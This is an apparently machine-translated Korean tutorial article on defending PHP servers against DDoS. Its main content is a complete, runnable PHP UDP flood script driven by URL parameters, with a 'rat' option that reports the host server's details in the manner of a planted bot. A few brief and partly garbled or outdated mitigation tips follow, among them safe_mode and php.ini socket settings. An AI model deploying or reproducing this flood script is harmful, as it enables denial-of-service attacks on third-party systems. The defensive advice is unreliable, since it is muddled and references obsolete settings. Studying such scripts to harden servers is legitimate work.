>  기사  >  백엔드 개발  >  DDoS 공격에 대한 PHP 솔루션

DDoS 공격에 대한 PHP 솔루션

怪我咯
怪我咯원래의
2017-07-13 14:11:482105검색

먼저 DDoS에 대한 이해: 분산 서비스 거부(DDoS: Distributed Denial of Service) 공격은 클라이언트/서버 기술을 사용하여 여러 컴퓨터를 공격 플랫폼으로 통합하여 하나 이상의 대상에 DDoS 공격을 실행하는 것을 말합니다. 서비스 거부 공격. 일반적으로 공격자는 훔친 계정을 이용해 한 대의 컴퓨터에 DDoS 마스터 프로그램을 설치하는데, 마스터 프로그램은 정해진 시간이 되면 네트워크상의 여러 컴퓨터에 설치된 다수의 에이전트와 통신하게 된다. 에이전트는 지시가 있을 때 공격을 시작합니다. 클라이언트/서버 기술을 사용하여 마스터 프로그램은 몇 초 만에 수백 또는 수천 개의 에이전트 실행을 활성화할 수 있습니다.

비유를 사용하여 DDOS가 무엇인지 깊이 이해해 봅시다.

상대방 경쟁 매장의 정상적인 운영을 방해하려는 불량배 무리는 어떤 방법을 사용하게 될까요? (이것은 단지 예일 뿐이므로 모방하지 마십시오.) 불량배는 일반 고객인 척하고 경쟁사의 매장에 몰려들어 떠나기를 거부하지만 실제 쇼핑객은 들어갈 수 없거나 항상 판매원과 대화를 나누므로 직원은 이를 할 수 없습니다. 고객에게 정상적으로 서비스를 제공할 수도 있고 매장 운영자에게 잘못된 정보를 제공할 수도 있습니다. 또한, 괴롭힘을 가하는 사람이 이러한 나쁜 행동을 스스로 수행하는 것은 때로는 어렵기 때문에 많은 사람이 협력해야 합니다. 음, 네트워크 보안 분야의 DoS 및 DDoS 공격은 이러한 아이디어를 따릅니다.

이 글은 주로 PHP의 Ddos 공격 솔루션을 소개하며, Ddos 공격 프로그램의 원리와 타겟 솔루션을 예시로 분석합니다. 필요한 친구들은 참고할 수 있습니다. 먼저 코드는 다음과 같습니다.

<?php 
set_time_limit(999999); 
$host = $_GET[&#39;host&#39;]; 
$port = $_GET[&#39;port&#39;]; 
$exec_time = $_GET[&#39;time&#39;]; 
$Sendlen = 65535; 
$packets = 0; 
ignore_user_abort(True); 
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
        if (StrLen($_GET[&#39;rat&#39;])<>0){ 
                echo $_GET[&#39;rat&#39;].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER[&#39;SERVER_NAME&#39;])."|".php_uname()."|".$_SERVER[&#39;SERVER_SOFTWARE&#39;].$_GET[&#39;rat&#39;]; 
                exit; 
            } 
        echo "Parameters can not be empty!"; 
        exit; 
    } 
 
for($i=0;$i<$Sendlen;$i++){ 
        $out .= "A"; 
    } 
 
$max_time = time()+$exec_time; 
 
while(1){ 
    $packets++; 
    if(time() > $max_time){ 
        break; 
    } 
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 
        if($fp){ 
            fwrite($fp, $out); 
            fclose($fp); 
    } 
} 
 
echo "Send Host:$host:$port<br><br>"; 
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 
?>

키 코드는 다음과 같습니다.

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

방법은 매우 간단합니다. UDP 패킷을 대상 호스트에 보내고 무한 데드 루프를 정의합니다.

이 압력은 실행을 위한 것입니다. 이 스크립트는 서버를 위한 것입니다. 왜냐하면 이 스크립트를 사용하여 대상 사이트에 압력을 가하려면 먼저 자체 네트워크 대역폭, CPU 및 기타 리소스를 많이 소비하기 때문입니다. 여러 서버에서 스크립트를 실행해야 합니다. DDOS이므로 fsockopen을 사용하여 외부 요청을 요청한 다음

php.ini에

를 설정하면 코드는 다음과 같습니다.

allow_url_fopen = Off

여전히 패키지를 보낼 수 있지만 코드는 다음과 같습니다.

extension=php_sockets.dll
;extension=php_sockets.dll

로 변경하고 APACHE 및 IIS, NGINX를 다시 시작하면 PHP DDOS가 패키지를 보내는 것을 방지할 수 있습니다.

또한 일부 네티즌은 매우 간단하다고 말했습니다. 스크립트가 시간 초과 없음으로 설정되는 것을 허용하지 않습니다:

1. set_time_limit

함수를 비활성화합니다

2. PHP의

안전 모드를 활성화합니다(safe_mode=on).

소켓 기능을 비활성화하면 모든 소켓 모듈을 직접 비활성화하거나 비활성화할 수 있습니다. fsockopen 함수를 사용하면 비밀번호를 찾기 위해 이메일을 보내는 경우가 많기 때문에 직접 안전 모드를 활성화하는 것이 좋지만 이 경우 30초마다 스크립트 타임아웃이 발생하는 것으로 추정됩니다. "는 30초마다 DDOS를 클릭해서 시작할 만큼 외롭습니다.

위 내용은 DDoS 공격에 대한 PHP 솔루션의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.